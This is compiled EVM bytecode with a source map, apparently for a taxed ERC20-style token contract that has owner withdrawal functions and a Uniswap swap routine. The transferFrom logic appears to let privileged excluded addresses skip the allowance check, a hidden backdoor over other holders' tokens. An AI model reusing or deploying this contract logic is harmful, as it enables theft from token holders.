5f610723848484610c03565b335f9081526003602052604090205460ff1680156107505750601254336001600160a01b03918216181615155b801561077b575061077b61076b5f546001600160a01b031690565b33186001600160a01b0316151590565b1561078957504615156107d9565b6107d584336105ea8560405180606001604052806028815260200161190b602891396001600160a01b038a165f90815260016020908152604080832033845290915290205491906111dd565b5060015b9392505050565b5f546001600160a01b031633146108095760405162461bcd60e51b81526004016103d09061165c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461087a5760405162461bcd60e51b81526004016103d09061165c565b6108866009600a6117a3565b61089490633b9aca006117b1565b600d556108a36009600a6117a3565b6108b190633b9aca006117b1565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e16009600a6117a3565b6108ef90633b9aca006117b1565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461092b5760405162461bcd60e51b81526004016103d09061165c565b6040516370a0823160e01b81523060048201525f906109ac906064906109a69085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561097c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a091906117f3565b90611215565b90611293565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a08573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2c919061180a565b50505050565b5f61039d338484610c03565b5f546001600160a01b03163314610a675760405162461bcd60e51b81526004016103d09061165c565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610aa95760405162461bcd60e51b81526004016103d09061165c565b5f4711610ab4575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b50565b6001600160a01b038316610b425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d0565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d0565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d0565b6001600160a01b038216610cc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d0565b5f8111610d2a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d0565b5f80546001600160a01b03858116911614801590610d5557505f546001600160a01b03848116911614155b156110a0576012546001600160a01b038581169116148015610d8557506011546001600160a01b03848116911614155b8015610da957506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0857601254600160a01b900460ff16610dff5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d0565b610e2560646109a6600954600c5411610e1a57600554610e1e565b6007545b8590611215565b9050600d54821115610e795760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103d0565b600e5482610e9b856001600160a01b03165f9081526002602052604090205490565b610ea59190611829565b1115610ef35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d0565b600c8054905f610f028361183c565b91905055505b6012546001600160a01b03848116911614801590610f3e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fbd57600e5482610f65856001600160a01b03165f9081526002602052604090205490565b610f6f9190611829565b1115610fbd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d0565b6012546001600160a01b038481169116148015610fe357506001600160a01b0384163014155b156110105761100d60646109a6600a54600c541161100357600654610e1e565b6008548590611215565b90505b601254600160a81b900460ff1615801561103757506012546001600160a01b038481169116145b801561104c5750601254600160b01b900460ff165b801561105b5750600b54600c54115b156110a057305f90815260026020526040902054600f54811115611096576110966110918461108c846010546112d4565b6112d4565b6112e8565b61109e611458565b505b801561111857305f908152600260205260409020546110bf908261148e565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110f9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526002602052604090205461113a90836114ec565b6001600160a01b0385165f9081526002602052604090205561117d61115f83836114ec565b6001600160a01b0385165f908152600260205260409020549061148e565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c685856114ec565b60405190815260200160405180910390a350505050565b5f81848411156112005760405162461bcd60e51b81526004016103d09190611559565b505f61120c8486611854565b95945050505050565b5f825f0361122457505f6103a1565b5f61122f83856117b1565b90508261123c8583611867565b146107d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d0565b5f6107d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152d565b5f8183116112e257826107d9565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132e5761132e611886565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611385573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a99190611691565b816001815181106113bc576113bc611886565b6001600160a01b0392831660209182029290920101526011546113e29130911684610ae0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a9085905f9086903090429060040161189a565b5f604051808303815f87803b158015611431575f80fd5b505af1158015611443573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610add573d5f803e3d5ffd5b5f8061149a8385611829565b9050838110156107d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d0565b5f6107d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111dd565b5f818361154d5760405162461bcd60e51b81526004016103d09190611559565b505f61120c8486611867565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610add575f80fd5b5f80604083850312156115b3575f80fd5b82356115be8161158e565b946020939093013593505050565b5f602082840312156115dc575f80fd5b81356107d98161158e565b5f805f606084860312156115f9575f80fd5b83356116048161158e565b925060208401356116148161158e565b929592945050506040919091013590565b5f8060408385031215611636575f80fd5b82356116418161158e565b915060208301356116518161158e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116a1575f80fd5b81516107d98161158e565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116fb578085048111156116df576116df6116ac565b60018416156116ed57908102905b60019390931c9280026116c4565b935093915050565b5f82611711575060016103a1565b8161171d57505f6103a1565b8160018114611733576002811461173d57611759565b60019150506103a1565b60ff84111561174e5761174e6116ac565b50506001821b6103a1565b5060208310610133831016604e8410600b841016171561177c575081810a6103a1565b6117885f1984846116c0565b805f190482111561179b5761179b6116ac565b029392505050565b5f6107d960ff841683611703565b80820281158282048414176103a1576103a16116ac565b5f805f606084860312156117da575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611803575f80fd5b5051919050565b5f6020828403121561181a575f80fd5b815180151581146107d9575f80fd5b808201808211156103a1576103a16116ac565b5f6001820161184d5761184d6116ac565b5060010190565b818103818111156103a1576103a16116ac565b5f8261188157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118ea5783516001600160a01b03168352602093840193909201916001016118c3565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c00223b79674c831f56374a35726688b3fc9977e96a31a3e2664aba24baf342664736f6c634300081a0033

Deployed Bytecode Sourcemap

3625:7931:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5323:83;;;;;;;;;;-1:-1:-1;5393:5:0;;;;;;;;;;;-1:-1:-1;;;5393:5:0;;;;5323:83;;;;5393:5;5323:83;:::i;:::-;;;;;;;;6901:161;;;;;;;;;;-1:-1:-1;6901:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6901:161:0;945:187:1;4652:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4652:45:0;1137:177:1;10768:630:0;;;;;;;;;;-1:-1:-1;10768:630:0;;;;;:::i;:::-;;:::i;:::-;;5600:95;;;;;;;;;;;;;:::i;6454:439::-;;;;;;;;;;-1:-1:-1;6454:439:0;;;;;:::i;:::-;;:::i;5509:83::-;;;;;;;;;;-1:-1:-1;5509:83:0;;4293:1;2226:36:1;;2214:2;2199:18;5509:83:0;2084:184:1;5703:121:0;;;;;;;;;;-1:-1:-1;5703:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5796:20:0;5769:7;5796:20;;;:11;:20;;;;;;;5703:121;2706:148;;;;;;;;;;;;;:::i;10099:159::-;;;;;;;;;;;;;:::i;10526:234::-;;;;;;;;;;-1:-1:-1;10526:234:0;;;;;:::i;:::-;;:::i;4482:49::-;;;;;;;;;;;;;;;;2492:79;;;;;;;;;;-1:-1:-1;2530:7:0;2557:6;2492:79;;-1:-1:-1;;;;;2557:6:0;;;2419:51:1;;2407:2;2392:18;2492:79:0;2273:203:1;4538:49:0;;;;;;;;;;;;;;;;5832:167;;;;;;;;;;-1:-1:-1;5832:167:0;;;;;:::i;:::-;;:::i;4594:51::-;;;;;;;;;;;;;;;;11408:108;;;;;;;;;;;;;:::i;10361:157::-;;;;;;;;;;;;;:::i;6305:141::-;;;;;;;;;;-1:-1:-1;6305:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6413:16:0;;;6386:7;6413:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6305:141;6901:161;6976:4;6993:39;327:10;7016:7;7025:6;6993:8;:39::i;:::-;-1:-1:-1;7050:4:0;6901:161;;;;;:::o;10768:630::-;2619:6;;-1:-1:-1;;;;;2619:6:0;327:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;;;;;;:::i;:::-;;;;;;;;;10849:11:::1;::::0;-1:-1:-1;;;10849:11:0;::::1;;;10848:12;10840:47;;;::::0;-1:-1:-1;;;10840:47:0;;3437:2:1;10840:47:0::1;::::0;::::1;3419:21:1::0;3476:2;3456:18;;;3449:30;3515:25;3495:18;;;3488:53;3558:18;;10840:47:0::1;3235:347:1::0;10840:47:0::1;10898:15;:80:::0;;-1:-1:-1;;;;;;10898:80:0::1;10935:42;10898:80:::0;;::::1;::::0;;;11023:25:::1;::::0;;-1:-1:-1;;;11023:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10935:42;11023:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11005:55:0::1;;11069:4;11076:15;;;;;;;;;-1:-1:-1::0;;;;;11076:15:0::1;-1:-1:-1::0;;;;;11076:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11005:94;::::0;-1:-1:-1;;;;;;11005:94:0::1;::::0;;;;;;-1:-1:-1;;;;;4035:32:1;;;11005:94:0::1;::::0;::::1;4017:51:1::0;4104:32;;4084:18;;;4077:60;3990:18;;11005:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10989:13;:110:::0;;-1:-1:-1;;;;;;10989:110:0::1;-1:-1:-1::0;;;;;10989:110:0;;::::1;;::::0;;11142:15:::1;::::0;11110:58:::1;::::0;11127:4:::1;::::0;11142:15:::1;4352;4293:1;4352:2;:15;:::i;:::-;4336:31;::::0;:13:::1;:31;:::i;:::-;11110:8;:58::i;:::-;11179:15;::::0;-1:-1:-1;;;;;11179:15:0::1;:31;11218:21;11249:4;11255:24;11249:4:::0;-1:-1:-1;;;;;5796:20:0;5769:7;5796:20;;;:11;:20;;;;;;;5703:121;11255:24:::1;11280:1;11282::::0;11284:7:::1;2530::::0;2557:6;-1:-1:-1;;;;;2557:6:0;;2492:79;11284:7:::1;11179:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11179:129:0;;;-1:-1:-1;;;;;6206:32:1;;;11179:129:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11292:15:0::1;6454:19:1::0;;;6447:35;6160:19;;11179:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;;;;11319:26:0::1;;::::0;;;:19:::1;:26;::::0;;;;:33;;-1:-1:-1;;11319:33:0::1;11348:4;11319:33;::::0;;11363:10:::1;:27:::0;;-1:-1:-1;;;;;;11363:27:0::1;::::0;;::::1;::::0;;10768:630::o;5600:95::-;5653:7;4352:15;4293:1;4352:2;:15;:::i;:::-;4336:31;;:13;:31;:::i;:::-;5673:14;;5600:95;:::o;6454:439::-;6552:4;6569:36;6579:6;6587:9;6598:6;6569:9;:36::i;:::-;327:10;6610:33;;;;:19;:33;;;;;;;;:68;;;;-1:-1:-1;6650:13:0;;327:10;-1:-1:-1;;;;;6650:13:0;;;7482:23;:28;;;6647:31;6610:97;;;;;6682:25;6685:7;2530;2557:6;-1:-1:-1;;;;;2557:6:0;;2492:79;6685:7;327:10;7482:23;-1:-1:-1;;;;;7482:28:0;;;;7411:102;6682:25;6607:126;;;-1:-1:-1;6716:13:0;:17;;6709:24;;6607:126;6744:119;6753:6;327:10;6775:87;6811:6;6775:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6775:17:0;;;;;;:9;:17;;;;;;;;327:10;6775:31;;;;;;;;;;:35;:87::i;6744:119::-;-1:-1:-1;6881:4:0;6454:439;;;;;;:::o;2706:148::-;2619:6;;-1:-1:-1;;;;;2619:6:0;327:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;;;;;;:::i;:::-;2813:1:::1;2797:6:::0;;2776:40:::1;::::0;-1:-1:-1;;;;;2797:6:0;;::::1;::::0;2776:40:::1;::::0;2813:1;;2776:40:::1;2844:1;2827:19:::0;;-1:-1:-1;;;;;;2827:19:0::1;::::0;;2706:148::o;10099:159::-;2619:6;;-1:-1:-1;;;;;2619:6:0;327:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;;;;;;:::i;:::-;4352:15:::1;4293:1;4352:2;:15;:::i;:::-;4336:31;::::0;:13:::1;:31;:::i;:::-;10152:12;:22:::0;4352:15:::1;4293:1;4352:2;:15;:::i;:::-;4336:31;::::0;:13:::1;:31;:::i;:::-;10185:14;:22:::0;10223:27:::1;4352:15;4293:1;4352:2;:15;:::i;:::-;4336:31;::::0;:13:::1;:31;:::i;:::-;10223:27;::::0;1283:25:1;;;1271:2;1256:18;10223:27:0::1;;;;;;;10099:159::o:0;10526:234::-;2619:6;;-1:-1:-1;;;;;2619:6:0;327:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;;;;;;:::i;:::-;10630:41:::1;::::0;-1:-1:-1;;;10630:41:0;;10665:4:::1;10630:41;::::0;::::1;2419:51:1::0;10612:15:0::1;::::0;10630:63:::1;::::0;10689:3:::1;::::0;10630:54:::1;::::0;10676:7;;-1:-1:-1;;;;;10630:26:0;::::1;::::0;::::1;::::0;2392:18:1;;10630:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10612:81:::0;-1:-1:-1;;;;;;10704:25:0;::::1;;327:10:::0;10704:48:::1;::::0;-1:-1:-1;;;;;;10704:48:0::1;::::0;;;;;;-1:-1:-1;;;;;7381:32:1;;;10704:48:0::1;::::0;::::1;7363:51:1::0;7430:18;;;7423:34;;;7336:18;;10704:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10601:159;10526:234:::0;;:::o;5832:167::-;5910:4;5927:42;327:10;5951:9;5962:6;5927:9;:42::i;11408:108::-;2619:6;;-1:-1:-1;;;;;2619:6:0;327:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;;;;;;:::i;:::-;11461:11:::1;:18:::0;;-1:-1:-1;;;;11490:18:0;-1:-1:-1;;;11490:18:0;;;11408:108::o;10361:157::-;2619:6;;-1:-1:-1;;;;;2619:6:0;327:10;2619:22;2611:67;;;;-1:-1:-1;;;2611:67:0;;;;;;;:::i;:::-;10444:1:::1;10420:21;:25;10412:34;;;::::0;::::1;;10457:53;::::0;327:10;;10488:21:::1;10457:53:::0;::::1;;;::::0;::::1;::::0;;;10488:21;327:10;10457:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10361:157::o:0;7070:333::-;-1:-1:-1;;;;;7163:19:0;;7155:68;;;;-1:-1:-1;;;7155:68:0;;7952:2:1;7155:68:0;;;7934:21:1;7991:2;7971:18;;;7964:30;8030:34;8010:18;;;8003:62;-1:-1:-1;;;8081:18:1;;;8074:34;8125:19;;7155:68:0;7750:400:1;7155:68:0;-1:-1:-1;;;;;7242:21:0;;7234:68;;;;-1:-1:-1;;;7234:68:0;;8357:2:1;7234:68:0;;;8339:21:1;8396:2;8376:18;;;8369:30;8435:34;8415:18;;;8408:62;-1:-1:-1;;;8486:18:1;;;8479:32;8528:19;;7234:68:0;8155:398:1;7234:68:0;-1:-1:-1;;;;;7313:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7363:32;;1283:25:1;;;7363:32:0;;1256:18:1;7363:32:0;;;;;;;7070:333;;;:::o;7521:1986::-;-1:-1:-1;;;;;7609:18:0;;7601:68;;;;-1:-1:-1;;;7601:68:0;;8760:2:1;7601:68:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:35;8934:19;;7601:68:0;8558:401:1;7601:68:0;-1:-1:-1;;;;;7688:16:0;;7680:64;;;;-1:-1:-1;;;7680:64:0;;9166:2:1;7680:64:0;;;9148:21:1;9205:2;9185:18;;;9178:30;9244:34;9224:18;;;9217:62;-1:-1:-1;;;9295:18:1;;;9288:33;9338:19;;7680:64:0;8964:399:1;7680:64:0;7772:1;7763:6;:10;7755:64;;;;-1:-1:-1;;;7755:64:0;;9570:2:1;7755:64:0;;;9552:21:1;9609:2;9589:18;;;9582:30;9648:34;9628:18;;;9621:62;-1:-1:-1;;;9699:18:1;;;9692:39;9748:19;;7755:64:0;9368:405:1;7755:64:0;7830:17;2557:6;;-1:-1:-1;;;;;7864:15:0;;;2557:6;;7864:15;;;;:32;;-1:-1:-1;2530:7:0;2557:6;-1:-1:-1;;;;;7883:13:0;;;2557:6;;7883:13;;7864:32;7860:1279;;;7927:13;;-1:-1:-1;;;;;7919:21:0;;;7927:13;;7919:21;:55;;;;-1:-1:-1;7958:15:0;;-1:-1:-1;;;;;7944:30:0;;;7958:15;;7944:30;;7919:55;:84;;;;-1:-1:-1;;;;;;7980:23:0;;;;;;:19;:23;;;;;;;;7978:25;7919:84;7915:484;;;8033:11;;-1:-1:-1;;;8033:11:0;;;;8025:44;;;;-1:-1:-1;;;8025:44:0;;9980:2:1;8025:44:0;;;9962:21:1;10019:2;9999:18;;;9992:30;-1:-1:-1;;;10038:18:1;;;10031:51;10099:18;;8025:44:0;9778:345:1;8025:44:0;8100:76;8172:3;8100:67;8122:15;;8112:9;;:25;8111:55;;8152:14;;8111:55;;;8139:12;;8111:55;8100:6;;:10;:67::i;:76::-;8088:88;;8213:12;;8203:6;:22;;8195:60;;;;-1:-1:-1;;;8195:60:0;;10330:2:1;8195:60:0;;;10312:21:1;10369:2;10349:18;;;10342:30;10408:27;10388:18;;;10381:55;10453:18;;8195:60:0;10128:349:1;8195:60:0;8308:14;;8298:6;8282:13;8292:2;-1:-1:-1;;;;;5796:20:0;5769:7;5796:20;;;:11;:20;;;;;;;5703:121;8282:13;:22;;;;:::i;:::-;:40;;8274:79;;;;-1:-1:-1;;;8274:79:0;;10814:2:1;8274:79:0;;;10796:21:1;10853:2;10833:18;;;10826:30;10892:28;10872:18;;;10865:56;10938:18;;8274:79:0;10612:350:1;8274:79:0;8372:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7915:484;8425:13;;-1:-1:-1;;;;;8419:19:0;;;8425:13;;8419:19;;;;:48;;-1:-1:-1;;;;;;8444:23:0;;;;;;:19;:23;;;;;;;;8442:25;8419:48;8415:168;;;8522:14;;8512:6;8496:13;8506:2;-1:-1:-1;;;;;5796:20:0;5769:7;5796:20;;;:11;:20;;;;;;;5703:121;8496:13;:22;;;;:::i;:::-;:40;;8488:79;;;;-1:-1:-1;;;8488:79:0;;10814:2:1;8488:79:0;;;10796:21:1;10853:2;10833:18;;;10826:30;10892:28;10872:18;;;10865:56;10938:18;;8488:79:0;10612:350:1;8488:79:0;8608:13;;-1:-1:-1;;;;;8602:19:0;;;8608:13;;8602:19;:44;;;;-1:-1:-1;;;;;;8625:21:0;;8641:4;8625:21;;8602:44;8599:175;;;8679:79;8754:3;8679:70;8701:16;;8691:9;;:26;8690:58;;8733:15;;8690:58;;;8719:13;;8679:6;;:10;:70::i;:79::-;8667:91;;8599:175;8795:6;;-1:-1:-1;;;8795:6:0;;;;8794:7;:30;;;;-1:-1:-1;8811:13:0;;-1:-1:-1;;;;;8805:19:0;;;8811:13;;8805:19;8794:30;:45;;;;-1:-1:-1;8828:11:0;;-1:-1:-1;;;8828:11:0;;;;8794:45;:77;;;;;8853:18;;8843:9;;:28;8794:77;8790:338;;;8941:4;8892:28;5796:20;;;:11;:20;;;;;;8990:17;;8969:38;;8966:119;;;9030:55;9035:49;9039:6;9046:37;9050:20;9071:11;;9046:3;:37::i;:::-;9035:3;:49::i;:::-;9030:4;:55::i;:::-;9104:8;:6;:8::i;:::-;8873:255;8790:338;9154:11;;9151:165;;9226:4;9206:26;;;;:11;:26;;;;;;:41;;9237:9;9206:30;:41::i;:::-;9199:4;9179:26;;;;:11;:26;;;;;;;:68;;;;9265:39;;-1:-1:-1;;;;;9265:39:0;;;;;;;9294:9;1283:25:1;;1271:2;1256:18;;1137:177;9265:39:0;;;;;;;;9151:165;-1:-1:-1;;;;;9344:17:0;;;;;;:11;:17;;;;;;:29;;9366:6;9344:21;:29::i;:::-;-1:-1:-1;;;;;9326:17:0;;;;;;:11;:17;;;;;:47;9400:42;9420:21;:6;9431:9;9420:10;:21::i;:::-;-1:-1:-1;;;;;9400:15:0;;;;;;:11;:15;;;;;;;:19;:42::i;:::-;-1:-1:-1;;;;;9384:15:0;;;;;;;:11;:15;;;;;:58;;;;9458:41;;;9477:21;:6;9488:9;9477:10;:21::i;:::-;9458:41;;1283:25:1;;;1271:2;1256:18;9458:41:0;;;;;;;7590:1917;7521:1986;;;:::o;1384:190::-;1470:7;1506:12;1498:6;;;;1490:29;;;;-1:-1:-1;;;1490:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1530:9:0;1542:5;1546:1;1542;:5;:::i;:::-;1530:17;1384:190;-1:-1:-1;;;;;1384:190:0:o;1582:246::-;1640:7;1664:1;1669;1664:6;1660:47;;-1:-1:-1;1694:1:0;1687:8;;1660:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;11664:2:1;1745:56:0;;;11646:21:1;11703:2;11683:18;;;11676:30;11742:34;11722:18;;;11715:62;-1:-1:-1;;;11793:18:1;;;11786:31;11834:19;;1745:56:0;11462:397:1;1836:132:0;1894:7;1921:39;1925:1;1928;1921:39;;;;;;;;;;;;;;;;;:3;:39::i;9517:98::-;9574:7;9601:1;9599;:3;9598:9;;9606:1;9598:9;;;-1:-1:-1;9604:1:0;9517:98;-1:-1:-1;9517:98:0:o;9623:468::-;4963:6;:13;;-1:-1:-1;;;;4963:13:0;-1:-1:-1;;;4963:13:0;;;9712:16:::1;::::0;;9726:1:::1;9712:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9712:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9712:16:0::1;9688:40;;9757:4;9739;9744:1;9739:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9739:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9783:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9783:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9739:7;;9783:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9773:4;9778:1;9773:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9773:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9848:15:::1;::::0;9816:61:::1;::::0;9833:4:::1;::::0;9848:15:::1;9866:10:::0;9816:8:::1;:61::i;:::-;9888:15;::::0;:195:::1;::::0;-1:-1:-1;;;9888:195:0;;-1:-1:-1;;;;;9888:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;9969:10;;9888:15:::1;::::0;10010:4;;10037::::1;::::0;10057:15:::1;::::0;9888:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4999:6:0;:14;;-1:-1:-1;;;;4999:14:0;;;-1:-1:-1;;;;9623:468:0:o;10266:87::-;10303:10;;:42;;-1:-1:-1;;;;;10303:10:0;;;;10323:21;10303:42;;;;;:10;:42;:10;:42;10323:21;10303:10;:42;;;;;;;;;;;;;;;;;;;1053:179;1111:7;;1143:5;1147:1;1143;:5;:::i;:::-;1131:17;;1172:1;1167;:6;;1159:46;;;;-1:-1:-1;;;1159:46:0;;13294:2:1;1159:46:0;;;13276:21:1;13333:2;13313:18;;;13306:30;13372:29;13352:18;;;13345:57;13419:18;;1159:46:0;13092:351:1;1240:136:0;1298:7;1325:43;1329:1;1332;1325:43;;;;;;;;;;;;;;;;;:3;:43::i;1976:189::-;2062:7;2097:12;2090:5;2082:28;;;;-1:-1:-1;;;2082:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2121:9:0;2133:5;2137:1;2133;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:247::-;1378:6;1431:2;1419:9;1410:7;1406:23;1402:32;1399:52;;;1447:1;1444;1437:12;1399:52;1486:9;1473:23;1505:31;1530:5;1505:31;:::i;1571:508::-;1648:6;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1772:9;1759:23;1791:31;1816:5;1791:31;:::i;:::-;1841:5;-1:-1:-1;1898:2:1;1883:18;;1870:32;1911:33;1870:32;1911:33;:::i;:::-;1571:508;;1963:7;;-1:-1:-1;;;2043:2:1;2028:18;;;;2015:32;;1571:508::o;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:356::-;3076:2;3058:21;;;3095:18;;;3088:30;3154:34;3149:2;3134:18;;3127:62;3221:2;3206:18;;2874:356::o;3587:251::-;3657:6;3710:2;3698:9;3689:7;3685:23;3681:32;3678:52;;;3726:1;3723;3716:12;3678:52;3758:9;3752:16;3777:31;3802:5;3777:31;:::i;4148:127::-;4209:10;4204:3;4200:20;4197:1;4190:31;4240:4;4237:1;4230:15;4264:4;4261:1;4254:15;4280:375;4368:1;4386:5;4400:249;4421:1;4411:8;4408:15;4400:24